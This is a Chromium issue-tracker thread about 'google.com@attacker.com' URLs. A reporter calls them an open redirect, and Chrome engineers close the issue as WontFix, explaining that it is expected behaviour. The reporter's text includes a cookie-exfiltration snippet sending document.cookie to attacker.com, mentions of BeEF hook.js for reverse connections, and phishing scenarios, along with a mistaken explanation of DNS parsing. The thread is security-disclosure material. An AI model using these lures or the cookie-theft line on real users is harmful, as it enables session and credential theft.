New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 626951 link

Starred by 24 users

Issue metadata

Status: WontFix
Owner: ----
Closed: Jul 2016
Cc:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 3
Type: Feature



Sign in to add a comment

Security: Redirecting victim to attacker's site with http://www.google.com@attacker.com

Reported by pig.wi...@gmail.com, Jul 10 2016

Issue description



VULNERABILITY DETAILS: Basically what we have here is an open redirection bug in chrome browser(both in android and windows). In chrome browser when attacker crafts URL in both windows PC and Android phone platform's ,i.e,:- https://www.google.com@facebook.com , this crafted URL sends victim to Facebook.com , similarly an attacker can craft a URL like:- https://www.anysite@attacker.com which when sent to the victim by attacker redirects victim to attacker.com,here anysite represents all the sites not any specific domain.

Both the above Payloads can be encoded easily and can lure victim to open the redirection link.the link can be crafted like https://www.google.com@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@attacker.com and still attacker.com can be opened.It is just an example of how attacker can make changes in the link to manipulate victim.



VERSION
Chrome Version: [51.0.2704.106] + [stable]
Operating System(Personal computer): [Windows,10]
operating system(mobile platform):[android,5.0]

Business Impact:
An attacker can send a URL containing payload which will redirect victim to the attacker’s controlled malicious website. The end user may be subjected to a phishing attack or cookie stealing or victim's PC can be  remotely exploited by using BEEF after being redirected to an untrusted page in chrome browser.An attacker can redirect victim to a malicious site with http://attacker.com/chrome.php?cookie=" + document.cookie; after @ the above payload can be inserted and the cookies of that user will get stored in chrome.php in attacker's server.This cookie stealing attack is possible for all HTTP sites.

FIX:- A pop-up should be displayed after attacker's URL is executed in victim's chrome browser like:-
{
You are about to log in to the site "attacker.com", but the website does not require authentication. This may be an attempt to trick you.

Is "attacker.com" the site you want to visit?
}

I have attached a TEXT file for details regarding the bug.
#i would like to mention my friend DHIRAJ MISHRA who guided me to find the flaw.
(mishra.dhiraj95@gmail.com)

Thanks 
Sahil tikoo
(pig.wig45@gmail.com)



 
google chrome bug
386 bytes View Download
Cc: pkasting@chromium.org js...@chromium.org
Components: UI>Browser>Omnibox
Labels: Needs-Feedback
Summary: Security: Redirecting victim to attacker's site (was: Security: Open Redirection Bug in Chrome Browser(Redirecting victim to attacker's malicious site in google chrome browser).)
I don't understand what's being reported.  What is meant by "attacker can send a URL"?  Does this simply mean "if someone places one of these links in a webpage, and the user hovers it, the user might think it goes to the HTTP auth username instead of the real hostname"?

If so, this is Not A Bug; the status bubble text when hovering a link is not a security indicator and sites can literally make it say anything already using Javascript.

If this is trying to report that the omnibox shows something misleading, then in my testing (a) the omnibox already strips the HTTP auth info, making the navigated URL very clear, and (b) even if it didn't, the hostname coloration would color the actual host black and the HTTP auth data grey.

In other words, I cannot see where there's any functional bug, let alone security hole, here.  Reporter, please reply in more detail about the attack scenario you envision, in particular precisely how you see the user encountering the redirection, and why Chrome's security UI will show this user incorrect information.

Comment 3 by pig.wi...@gmail.com, Jul 11 2016

hello sir,

to firstly clarify--> I m using the terms attacker and victim as terms in the social engineering that can be carried out by a person who sends this open redirecting link to a person who has a chrome browser as other browser's ask by popping up a prompt box before redirecting user.

"attacker can send a URL" means that a person with malicious intent can send this open redirecting URL as a link to the victim through email or message,and when victim opens the URL :-www.google.com@attacker.com(or any other) through google chrome browser he directly gets redirected to (attacker.com) without any notification that you are being redirected.

and "Omnibox showing something misleading" actually its not about that ,its just that the same omnibox of the victim's chrome browser will redirect to the site mentioned in the link(something@attacker.com) i.e. attacker.com

What you mentioned about (HTTP auth info) becoming grey is correct in its own perspective but when we consider a person sitting on his personal computer at his house and an attacker sends him this link, victim would first consider google.com being mentioned in URL(http://www.google.com@attacker.com) so he will click it and secondly no notification from chrome browser appears about user being redirected to attacker.com when he opens the above URL.
Sir I m really sure there is a bug in chrome browser and it can be exploited through social engineering.
i must mention here that when above URL(https://www.google.com@attacker.com) is run in mozilla firefox it shows a pop up like:-
                           A confirm BOX
{
You are about to log in to the site "attacker.com" with the username "www%2Egoogle%2Ecom", but the website does not require authentication. This may be an attempt to trick you.

Is "attacker.com" the site you want to visit?

}

but no such security(confirm,alert or prompt box) is kept for even the latest google chrome browser's in both android and windows platform.

I will be sending a video POC(which has been shot in win7 but applies to win service pack 10 also) and a text file .please do see both for clarification. 
thanks for your patience sir.
google bug in text
1.3 KB View Download
Google-Chrome-Bug.avi
4.4 MB Download

Comment 4 by pig.wi...@gmail.com, Jul 11 2016

if video doesn't work after downloading check it out here 

https://drive.google.com/open?id=0B9Y35ARaxu2KZlZ3RFlLbmVEMEE
Project Member

Comment 5 by sheriffbot@chromium.org, Jul 12 2016

Labels: -Needs-Feedback Needs-Review
Owner: pkasting@chromium.org
Thank you for providing more feedback. Adding requester "pkasting@chromium.org" for another review and adding "Needs-Review" label for tracking.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 6 by pig.wi...@gmail.com, Jul 12 2016

i want to summarize it :-

In domain name system when a URL is sent to DNS server it has to be in a format like https://www.site.com but when we send https://www.site.com@attacker.com to DNS server it parses the requests from right to left as we know so it first comes across attacker.com then it expects dot(.)or root but instead there is @, so it considers the rest as HTTP auth info and then redirects.so this is the way @ symbol is interpreted by DNS server so  we cant stop the redirection but google chrome should provide a warning to the user about redirection beacuse this problem can be exploited by an attacker through social engineering.In the same way other browser's provide.

thanks. 

Comment 7 by ta...@google.com, Jul 13 2016

Components: -UI>Browser>Omnibox Security>UX
Labels: -Type-Bug-Security -Restrict-View-SecurityTeam -Needs-Review OS-All Pri-3 Type-Feature
Owner: ----
Status: Available (was: Unconfirmed)
Summary: Security: Redirecting victim to attacker's site with http://www.google.com@attacker.com (was: Security: Redirecting victim to attacker's site)
http://www.google.com@attacker.com sending user to attacker.com is the expected behaviour. But I can understand your point that users might get confused. 

I'll change this to a feature request instead because we should consider whether or not to show a warning popup about this type of URL.

Comment 8 by pig.wi...@gmail.com, Jul 13 2016

what about hof?

Comment 9 by pig.wi...@gmail.com, Jul 13 2016

I m sorry to disturb!! But i wanted to know if my bug is eligible for bounty or recognition?

Comment 10 Deleted

@7: I still don't understand what, precisely, this feature request is.  Is the idea to show some UI when a user clicks on a link whose ultimate nav target has a known TLD+1 in the HTTP username section?  If so, how do we know this would mislead anyone (and thus be worthy of UI), given that we won't end up showing the HTTP auth credentials in the omnibox anyway?  Doesn't this basically turn into "the status bubble text when hovering a link might be misleading", which we've already decided is not a security issue worth extra UI?

I'd like to understand precisely what's being requested here or it seems like this is impossible to debate, let alone implement.
Cc: tanin@chromium.org
Status: WontFix (was: Available)
Status bubble spoofing is already trivial. I don't think this allows an attacker to do anything that they don't already have a better way to do. See https://www.chromium.org/user-experience/status-bubble#TOC-Lack-of-Security

That said, thanks for reporting this anyway. We'd always rather have reports of potential issues than not, so please file another bug if you notice anything else in the future. This particular issue isn't eligible for a bounty or hall of fame entry.
hey man ,

its not about status bubble spoofing neither about a person hovering over links.

again i m telling you attacker can do a lot many things by redirecting someone to the malicious site     (www.google.com@attacker.com)-----> attacker.com

ok just see yourself as a person sitting on a bench in google office , you have a chrome browser opened on your pc and suddenly you get this payload through email like (you got some important notifications from google along with a link 
www.google.com@attacker.com and the person(attacker) who has sent you this will spoof @attacker.com and now you will open this link in your chrome browser and without any notification chrome browser redirects you to attacker.com . 

i just wanted you to introduce a notification that asks a person like you whether or not you want to redirect to attacker.com

because this same issue was reported by a pakistani security consultant to mozilla firefox and they fixed it by displaying a pop up.

like:-

                        A confirm BOX
{
You are about to log in to the site "attacker.com" with the username "www%2Egoogle%2Ecom", but the website does not require authentication. This may be an attempt to trick you.

Is "attacker.com" the site you want to visit?

}

the person with email ta...@google.com understood exactly what i wanted to convey.

thanks 
i m sure you will look into this.




@7: sir,can you please look into this.coz you understood what i was trying to say.

this redirection is  happening just because of not having a pop up implementation in browser when handling such requests causing remote exploitation of a person using chrome browser.


I agree that users could be confused by a URL like google.com@attacker.com, but we already do quite a bit to mitigate this, and in most of the cases attackers can already do better. Not just the status bubble case.

In the omnibox, we don't show anything related to http auth. Once you've followed the link, you would see that you were on attacker.com. In the link via email case you mention, why bother including @attacker.com at all if you're sending HTML mail? Just send a link with text "https://google.com" and href "https://attacker.com". It might make the status bubble slightly more convincing to include it in the href, but as we've mentioned before we do not consider the status bubble trustworthy.

One caveat, though. While I do work on security, I don't work on security UX. If anyone from enamel feels differently, I'll defer to them.
yup!! i agree ..thanks for making it clear to me.
attackers can always find ways that's true.



at last i just want to mention that please just once open www.google.com@facebook.com on your chrome browser in your address bar and hit enter 

similarly type the same url in address bar of mozilla firefox browser.

just see the difference and ask yourself what's happening.

thanks.
An attack that starts with asking a user to type a complicated string into the omnibox is one that's already fairly mitigated, but sure.

In chrome, if you include https:// in the address you're typing, the google.com@ portion is greyed out in the omnibox. If you don't include a scheme, it does a search for that string, and shows an option to visit facebook.com (without displaying the @google.com portion in any way).

In firefox, a prompt is displayed as you mentioned in your previous comments.

As I mentioned before, I agree that this could be confusing for the average user, but I don't think it's of much use to attackers. It may be a minor UX issue, but I'm not fully convinced of that (or qualified to say).
ok then.
thanks for your time.I totlly agree and will watch out for low severity bugs in future .

 Issue 630700  has been merged into this issue.
Hello , let me clear it once.

Yes actual URL shows up in the Address bar , but the impact is it redirect to some where else.
Ex : https://bing.com@fb.com , this whole url will be shown to the user as well as in address bar , but as you press enter , it redirects to fb.com , rather than bing.com.

How it can be Exploited ?

An attacker can create any  domain Example [attacker.com] , in which attacker will run fake pages of any Portals like facebook.com which will have similar look like facebook , Bing , Oracle etc and can phish people.
Example : https://bing.com@attacker.com , where as attacker.com will be having fake or similar looking portals like facebook or etc , any person would click on that link because Bing suppose to be a Brand and well know Org , but it will facebook or some other pages like bing , and attacker will take advantage of it.

Another Way to Exploit ?

Yes ! there is a Browser based exploitation tool named as BeeF , which have a small entity hook.js inside BeeF , an attacker can use it to redirect to any malicious link such as , https://bing.com@attacker.com , simply with out any warning it will  redirect to attacker.com which is hosting [hook.js] which will give Reverse connection to the attacker , if needed please have a look on the video : https://www.youtube.com/watch?v=gFajWO1sK2k

I hope i have explained well , all i need is if any person is using '@' in address bar please give a pop-up.

Thank you , please let me know if any else info needed.
It's irrelevant what the URL looks like before it's clicked or entered.  For clicked links in particular, an attacker need not bother with HTTP auth.  Using an onclick handler it's very easy to simply make a link that looks like "bing.com", and displays "bing.com" when hovered, but navigates directly to "attacker.com".

What matters is what the address bar displays once on attacker.com.  It's clearly attacker.com, so there is no security or functional bug here.  We've said this a couple times, I'm not sure why it's hard to understand.

P.S. If you're trying to demonstrate a Chrome bug, maybe your video shouldn't be using Firefox?
Ok , sorry for the inconvenience , we will find another way to exploit.

Thank you have a nice day :) 
Cc: mea...@chromium.org creis@chromium.org palmer@chromium.org
 Issue 645940  has been merged into this issue.

Comment 27 Deleted

Comment 28 Deleted

Comment 29 Deleted

Cc: emilyschechter@chromium.org nparker@chromium.org elawrence@chromium.org
 Issue 658139  has been merged into this issue.

Comment 31 Deleted

 Issue 664028  has been merged into this issue.
Please unsubscribe  me from the various app spots. I have unsubscribed me from the whole World program but kept Google+. I am getting way too many emails and cannot keep with the volume. Thank you.
Robert van Oeveren 

Sent from my iPad
*************************************************
@33: This is a bug, not a mailing list.  If you're receiving emails and don't wish to be, visit the bug and click the yellow star in the page near the top left corner so it turns hollow.

Comment 35 Deleted

Comment 36 Deleted

Comment 37 Deleted

Components: -Security>UX
Labels: Team-Security-UX
Security>UX component is deprecated in favor of the Team-Security-UX label
 Issue 680860  has been merged into this issue.

Comment 40 by vakh@chromium.org, Mar 3 2017

 Issue 698414  has been merged into this issue.
 Issue 700665  has been merged into this issue.
 Issue 714501  has been merged into this issue.
 Issue 716903  has been merged into this issue.
 Issue 756805  has been merged into this issue.
 Issue 770511  has been merged into this issue.
 Issue 775981  has been merged into this issue.
hi 
@Chromium 

can you view my comment on my report 
i gave some answer of your questions 
thanks
regards
Tayyab Qadir 
 Issue 808870  has been merged into this issue.
 Issue 826310  has been merged into this issue.
Issue 875802 has been merged into this issue.

Sign in to add a comment